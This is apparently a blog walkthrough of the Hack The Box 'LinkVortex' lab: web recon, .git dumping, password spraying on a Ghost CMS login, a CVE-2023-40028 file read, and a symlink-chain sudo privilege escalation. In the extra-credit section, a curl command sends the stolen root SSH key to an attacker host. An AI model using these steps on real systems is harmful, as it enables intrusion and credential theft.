LinkVortex
2025-01-17
INTRODUCTION
LinkVortex was all about the recon steps. A little bit of OSINT with a portion of web fuzzing is all that it takes. First though, we must discover the technology that the target website runs on, do a little reading on how it works, and make some educated guesses about directory structure: only then will we find the dashboard login. On the dashboard login, we discover a username oracle. Finally, after finding a vulnerable subdomain, we are able to do some .git
reconstruction to obtain some hardcoded credentials in the source code. Combining all of those clues together, we can finally gain access to the dashboard.
Thankfully, the dashboard itself can Export everything that we need to know. Proper OSINT from earlier will inform us exactly what part of which file we should examine - that file will contain some credentials. We can re-use these credentials to gain SSH access to the target, along with the user flag.
Getting the root flag was a piece of cake. No enumeration is required - just read through the script that we have sudo
access to, and try to find the logical flaw in the program. A little bit of Linux knowledge will help, but it shouldn’t be too big of a challenge for anyone that got this far.
This box felt a little “guessy” at the beginning, but ended in a fun, quick privesc. Great for beginners!
RECON
nmap scans
Port scan
I’ll set $RADDR
to the target machine’s IP, and scan it with a simple port scan of the full range of ports:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Note the redirect to http://linkvortex.htb
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
Nothing notable from this.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
PORT STATE SERVICE VERSION
17/udp open|filtered qotd
68/udp open|filtered tcpwrapped
136/udp open|filtered tcpwrapped
139/udp open|filtered tcpwrapped
996/udp open|filtered tcpwrapped
997/udp open|filtered tcpwrapped
1025/udp open|filtered blackjack
20031/udp open|filtered tcpwrapped
32769/udp open|filtered filenet-rpc
49194/udp open|filtered unknown
49201/udp open|filtered unknown
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Webserver Strategy
Noting the redirect from the nmap scan, I added download.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=linkvortex.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR
Oh interesting. There’s some pretty wild headers on that site.
I wonder if they’re using this “Ghost” (I’m sure it’s a popular name) 👻
Edit: yup, it is!
I’m really not loving their documentation, but yeah… there should be:
- A dashboard at
/ghost
- An API at
/ghost/api
I’ll be sure to check those during directory enumeration 🚩
Subdomain Enumeration
Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate hosts:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results.
Next I’ll check for subdomains of linkvortex.htb
WLIST="/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
Great - we found dev.linkvortex.htb
. I’ll add that to /etc/hosts
then move on to directory enumeration on linkvortex.htb
and dev.linkvortex.htb
:
echo "$RADDR dev.$DOMAIN" | sudo tee -a /etc/hosts
Directory Enumeration
Directories for linkvortex.htb
:
WLIST=/usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -fs 0
Since we know it’s using the “Ghost” CMS, let’s check for that directory specifically:
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/ghost/FUZZ -t 60 -ic -c -timeout 4 -mc all -fs 0,136
Great, there’s an index page (.
) and presumably some API that we can’t access (api
). I’ll investigate it after I finish fuzzing (the json file too) 🚩
Now, the directories for dev.linkvortex.htb
:
ffuf -w $WLIST:FUZZ -u http://dev.$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-dev -of json -timeout 4 -fs 0
Hmm… That’s not very useful, to be honest. I’m going to retry both domains using a different wordlist (actually, a bunch of wordlists):
Merging wordlists
I want a more general-purpose wordlist for doing web directory/file enumeration.
cd /usr/share/seclists/Discovery/Web-Content # Merge a bunch of wordlists from Seclists sudo sort -u raft-large-directories-lowercase.txt raft-large-words-lowercase.txt directory-list-2.3-small.txt quickhits.txt common.txt -o /tmp/dirs-and-files.txt; # Remove the junk with a trailing slash sudo grep -v '.*/$' /tmp/dirs-and-files.txt > /usr/share/wordlists/dirs-and-files.txt wc -l /usr/share/wordlists/dirs-and-files.txt # 169747 lines -- not too bad!
WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -timeout 4 -mc all -fs 0 -fc 404
That’s much better! Look at all the stuff we found 🤗
I made some manual additions to the top of the wordlist, that’s why there’s a few duplicates. I’ll fix that for the next time I use it.
ffuf -w $WLIST:FUZZ -u http://dev.$DOMAIN/FUZZ -t 60 -ic -c -timeout 4 -mc all -fs 0 -fc 404
Bingo! There’s an exposed .git
directory. Big mistake to leave that open. Before we dive into this, let’s take a peek at the website through the browser.
Exploring the Website
http://linkvortex.htb
seems like a typical landing page. As far as I can tell, it’s completely static.
We discovered some stuff under /ghost
earlier, too. At http://linkvortex.htb/ghost
we get this login page:
I tried the usual easy credentials (admin:admin etc), but no luck.
One thing that I noticed is that the Forgot? button can be used for username enumeration. Check out how this shows “User not found.”:
You might even call this a “username oracle” if you wanted to sound fancy 👇
And that json file we saw earlier. It’s a JSON Web Keyset file (JWKS), used for verifying JWT integrity:
{
"keys": [
{
"e": "AQAB",
"kid": "0fWYMUHmh_awzS--ldm-OS-ecbdYWrVKd-7TTjj-kfk",
"kty": "RSA",
"n": "nui6u1jo3tg4Sb7aQHATpJwYwYfSdOP-OyK3mmWDX7owdjukqiimb4obqdhFKm-_ERzDWVQ3e5-QzwcRCSkftGLOCOJcM36lwNrS_iUekdUrKpVYDWaeM-zgDMmmBbAtIn_NoDxQz_JmromMDpr2oOVCMQN2Vca0Ba0fsHXRax8",
"use": "sig"
}
]
}
The subdomain http://dev.linkvortex.htb
is even simpler:
Yep, that’s all it is… Of course, there’s also the .git
directory:
FOOTHOLD
🚫 Exposed git (GitHacker)
We can use GitHacker to analyze the .git
directory, and extract the source code.
The author of GitHacker instructs us to use it only from a docker container, since some website publishers may intentionally leave malicious .git directories on their sites (perhaps as canaries even)
Let’s follow their advice, and do it the safe way 👍
Note that we must provide the docker container with a copy of our host system’s /etc/hosts
file (read-only). Otherwise, it can’t resolve the IP address of the HTB box
cd source
docker run -v /etc/hosts:/etc/hosts:ro -v $(pwd)/results:/tmp/githacker/results wangyihang/githacker --output-folder /tmp/githacker/results --url http://dev.linkvortex.htb/.git/
⚠️ Looks like there’s a bug with the repository. Even though I’m pretty sure I have the right syntax shown above, it won’t work. There is already an Issue filed in the Github repo for this behaviour.
🚫 Exposed git (Git-dumper + GitTools)
Install Git-dumper if you don’t already have it:
cargo install git-dumper
Run it against the directory:
# make a directory to hold the .git directory
mkdir git-dumper
git-dumper -t 16 http://dev.linkvortex.htb/.git/ ./git-dumper
Now we need to extract the directory. For this, we can use GitTools Extractor
cd ~/Tools
git clone https://github.com/internetwache/GitTools.git
cd -
# The first argument is the path to the directory that contains the .git directory
~/Tools/GitTools/Extractor/extractor.sh ./git-dumper ./GitToolsExtractor
and…. it did absolutely nothing 😒
Exposed git (GitHack)
Ok, let’s try yet another tool: GitHack. First, let’s download it to a temporary directory:
cd ./tools
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
python3 GitHack.py http://dev.linkvortex.htb/.git/
After a short while, it terminated, and I found a directory adjacent to the python script, dev.linkvortex.htb
. Looks like the script worked!
cd dev.linkvortex.htb
tree .
Inside the repository
Let’s check out that Dockerfile first
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]
Too bad we don’t have a copy of that .json
file… Oh well. Let’s check out the .js
file.
Reading through the file, there appear to be several credentials hardcoded into it. They’re probably just for testing, but still worth writing down:
test@example.com : OctopiFociPilfer45
test-leo@example.com : thisissupersafe
not-invited@example.org : lel123456
??? : 1234567890
I’m not very confident that these credentials will be useful, but let’s try them out in the Ghost login anyway:
None of the credentials I found in the js
file worked.
🕐 I eventually found one clue though. Each article on http://linkvortex.htb
is written by the user admin:
Combine this with the username oracle we found earlier, during recon, and we can verifiably figure out an email to login with 💡
After a few guesses at the domain part of the email, I found one email that produced the “Your password is incorrect” message - which proves that the email exists!
Great, so let’s try spraying those passwords at this email and see if we get a hit:
- ✅
admin@linkvortex.htb : OctopiFociPilfer45
- ❌
admin@linkvortex.htb : thisissupersafe
- ❌
admin@linkvortex.htb : lel123456
- ❌
admin@linkvortex.htb : 1234567890
Alright! The first one worked 😂 We’re into the dashboard now:
Just in case, I tried this same password against SSH for the users “admin” and “leo” - no luck.
USER FLAG
Dashboard
I was having a lot of trouble finding any useful information on the Dashboard, so I tried the Export feature within Settings > Labs. This produced a JSON file with everything important inside.
JSON Export
Notably, the version number: 5.58.0.
About halfway down the JSON file, there are also some RSA keys - both public and private (two keypairs):
To retain the proper formatting, I echo’d them into files:
Also, near the bottom of the JSON file, we see the password hash for the admin
user. I’m sure this is just the hash of the password we logged in with, though:
CVE-2023-40028
After a bit of research, I found a github repo claiming to be a PoC for an arbitrary file read (authenticated) for Ghost CMS. It’s registered as CVE-2023-40028.
Be sure to change the variable
GHOST_URL
at line 14 tohttp://linkvortex.htb
before attempting to run the script.
Whoa! The exploit script worked perfectly. Now that I know the right username, I should try those passwords and private keys again.
➡️ Nope, neither private key worked, nor did any of the passwords.
In retrospect, I realize we’re probably seeing the
/etc/passwd
file of the Ghost CMS docker container 🤔
Unfortunately, there was no id_rsa
file for the user node
either.
When checking out the Dockerfile (after extracting the .git
) we saw a mention of a JSON file, /var/lib/ghost/config.production.json
. This is the main configuration file for Ghost CMS. Maybe there are some sensitive details in there?
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
Ok, there’s one more credential: bob@linkvortex.htb : fibber-talented-worth
. Let’s check again for credential reuse:
ssh bob@$RADDR # fibber-talented-worth
This opens an SSH connection for us in /home/bob
, adjacent to the user flag. Read it for some points:
cat user.txt
ROOT FLAG
Local enumeration - bob
Checking sudo -l
shows that bob
can run /opt/ghost/clean_symlink.sh
as an elevated process:
# User bob may run the following commands on linkvortex:
# (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Here is the script:
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
Understand the script
Let’s think of this backwards.
The goal is to run the /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
line so that it reads the target file (probably the root flag?).
To get to the goal, we need to pass these checks, in reverse order:
- The
CHECK_CONTENT
environment variable should be set totrue
- The
LINK_TARGET
variable must not contain the substringsetc
orroot
- The argument provided to the script (
$1
) must be a symlink - The argument provided to the script must end with
.png
Now, if the target file that we want to read was somewhere in /home/bob
, then this would be completely trivial; we would just make a symlink, then call the script:
ln -s /home/bob/target/filepath /home/bob/my-link.png
export CHECK_CONTENT=true; sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/my-link.png
…then my-link.png
would be moved to the quaranine directory, and the contents of /home/bob/target/filepath
would be printed to the screen.
Trick the script
So what’s the trick, here? It’s pretty easy if you’ve ever encountered this problem in linux (because it’s usually the cause of quite a headache!):
Just use an intermediate link 😂
Make a symlink to a symlink to the target.
Script ➡️ symlink A ➡️ symlink B ➡️ target file
Yes, that’s all!
mkdir /tmp/.Tools
ln -s /root/root.txt /tmp/.Tools/second-hop
ln -s /tmp/.Tools/second-hop /tmp/.Tools/first-hop.png
Then run the script with sudo
:
export CHECK_CONTENT=true; sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/.Tools/first-hop.png
rm /tmp/.Tools/* # clean up after yourself.
😉 The contents of the flag should appear
EXTRA CREDIT
Privesc to root
We leaked the flag contents, but haven’t actually gotten a root shell yet.
Since we’re pretty sure that root has ssh access, we can turn an arbitrary file read into a root shell by grabbing the SSH private key.
First, we need a way to accept the key. I’ll start up an http server with the ability to recieve file uploads:
sudo ufw allow from $RADDR to any port 8000 proto tcp
simple-server 8000 -v
Now let’s repeat the attack, this time getting /root/.ssh/id_rsa
instead of the root flag:
ln -s /root/.ssh/id_rsa /tmp/.Tools/second-hop
ln -s /tmp/.Tools/second-hop /tmp/.Tools/first-hop.png
export CHECK_CONTENT=true
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/.Tools/first-hop.png | tee mykey
curl -X POST -F 'file=@./mykey' http://10.10.14.21:8000
rm ./mykey # clean up after yourself.
Now on the attacker host, set the right permissions on the key and use it to log in:
mv ./mykey ../loot/id_rsa
chmod 600 ../loot/id_rsa
ssh -i ../loot/id_rsa root@$RADDR
🍰 Now we have a way to log back in as root, if we wanted to.
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools
(although it should already be empty):
rm -rf /tmp/.Tools
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:
rm -rf source/*
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED

Attacker
🛠️ Have several tools on-hand for analyzing git information. Fortunately, I had a few programs that I already knew about for analyzing exposed
.git
directories…. but unfortunately, none of them worked! When I tried another tool (the fourth one in line) I finally had some success.🕵️♀️ Assemble all your clues and check back on them. On this box, we had to find at least three things before being able to access the dashboard. It’s important to keep an open mind and not fixate on individual clues - instead, try to figure out how each clue factors into the broader puzzle.

Defender
🔮 Don’t divulge unnecessary info, especially on internet-facing services. I’m not sure if the current version is like this, but we encountered a username oracle at the Ghost CMS login page. It only took a couple guesses to obtain a valid username, once we had the clues and the username oracle in front of us.
🔂 Use recursive logic in scripts. A simple loop with
readlink
would have been enough to thwart the privesc technique we used.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake